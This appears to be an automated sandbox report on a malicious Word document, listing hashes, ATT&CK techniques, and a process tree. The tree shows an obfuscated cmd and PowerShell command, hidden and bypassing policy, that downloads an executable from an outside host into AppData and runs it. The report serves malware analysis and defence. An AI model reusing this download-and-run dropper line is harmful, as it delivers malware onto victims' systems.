62b96f7ff4146f33146f2c134e2bfe2ad3bc2df63f1276c9eb6ad1af5952940e

General

Target

62b96f7ff4146f33146f2c134e2bfe2ad3bc2df63f1276c9eb6ad1af5952940e.doc
Size

797KB
MD5

917e800806d60717238c5b767070af1a
SHA1

2fd273a4f5a39691e4f256eebf4c0ec705a0d298
SHA256

62b96f7ff4146f33146f2c134e2bfe2ad3bc2df63f1276c9eb6ad1af5952940e
SHA512

ebc6c8f811383faad6f159b65e3db598173e5fba6fb6e0167dbdf85e148ddbcd25400e8c1395e7388ea897ae7cb646832c88400a7eb461bb65efd7d098d4afc4
SSDEEP

24576:/KOGjn4lUrN4vaxrB1qep1wuJ7NYtQV7dJXWlLPx:3q4m4Sxrzp1TJ7j7vXW

Score

10^/10

discovery execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	2172	3056	cMD.exe	29

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2756	powershell.exe
2756	powershell.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cMD.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Office loads VBA resources, possible macro or embedded object present

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3056	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2756	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2756	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
3056	WINWORD.EXE
3056	WINWORD.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3056 wrote to memory of 2172	3056	WINWORD.EXE	30
PID 3056 wrote to memory of 2172	3056	WINWORD.EXE	30
PID 3056 wrote to memory of 2172	3056	WINWORD.EXE	30
PID 3056 wrote to memory of 2172	3056	WINWORD.EXE	30
PID 2172 wrote to memory of 2756	2172	cMD.exe	33
PID 2172 wrote to memory of 2756	2172	cMD.exe	33
PID 2172 wrote to memory of 2756	2172	cMD.exe	33
PID 2172 wrote to memory of 2756	2172	cMD.exe	33
PID 3056 wrote to memory of 2776	3056	WINWORD.EXE	34
PID 3056 wrote to memory of 2776	3056	WINWORD.EXE	34
PID 3056 wrote to memory of 2776	3056	WINWORD.EXE	34
PID 3056 wrote to memory of 2776	3056	WINWORD.EXE	34

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\62b96f7ff4146f33146f2c134e2bfe2ad3bc2df63f1276c9eb6ad1af5952940e.doc"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3056
- C:\Windows\SysWOW64\cMD.exe
  cMD /C POWerSheLL.EXE -ex bYPasS -NOp -w HIdden invoKe-WebreqUeSt -uRI 'https://alexanu.com/xwcry.exe' -OutFiLE '%AppDaTa%\admini.exe' ; inVoKe-itEm '%apPDAtA%\admini.exe'
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2172
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    POWerSheLL.EXE -ex bYPasS -NOp -w HIdden invoKe-WebreqUeSt -uRI 'https://alexanu.com/xwcry.exe' -OutFiLE 'C:\Users\Admin\AppData\Roaming\admini.exe' ; inVoKe-itEm 'C:\Users\Admin\AppData\Roaming\admini.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2756
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2776

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/3056-0-0x000000002F761000-0x000000002F762000-memory.dmp

Filesize
4KB

Download
memory/3056-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/3056-2-0x000000007131D000-0x0000000071328000-memory.dmp

Filesize
44KB

Download
memory/3056-10-0x0000000000730000-0x0000000000830000-memory.dmp

Filesize
1024KB

Download
memory/3056-11-0x0000000000730000-0x0000000000830000-memory.dmp

Filesize
1024KB

Download
memory/3056-13-0x0000000000730000-0x0000000000830000-memory.dmp

Filesize
1024KB

Download
memory/3056-12-0x0000000000730000-0x0000000000830000-memory.dmp

Filesize
1024KB

Download
memory/3056-9-0x0000000000730000-0x0000000000830000-memory.dmp

Filesize
1024KB

Download
memory/3056-8-0x0000000000730000-0x0000000000830000-memory.dmp

Filesize
1024KB

Download
memory/3056-7-0x0000000000730000-0x0000000000830000-memory.dmp

Filesize
1024KB

Download
memory/3056-6-0x0000000000730000-0x0000000000830000-memory.dmp

Filesize
1024KB

Download
memory/3056-5-0x0000000000730000-0x0000000000830000-memory.dmp

Filesize
1024KB

Download
memory/3056-4-0x0000000000730000-0x0000000000830000-memory.dmp

Filesize
1024KB

Download
memory/3056-21-0x000000007131D000-0x0000000071328000-memory.dmp

Filesize
44KB

Download
memory/3056-22-0x0000000000730000-0x0000000000830000-memory.dmp

Filesize
1024KB

Download

Analysis

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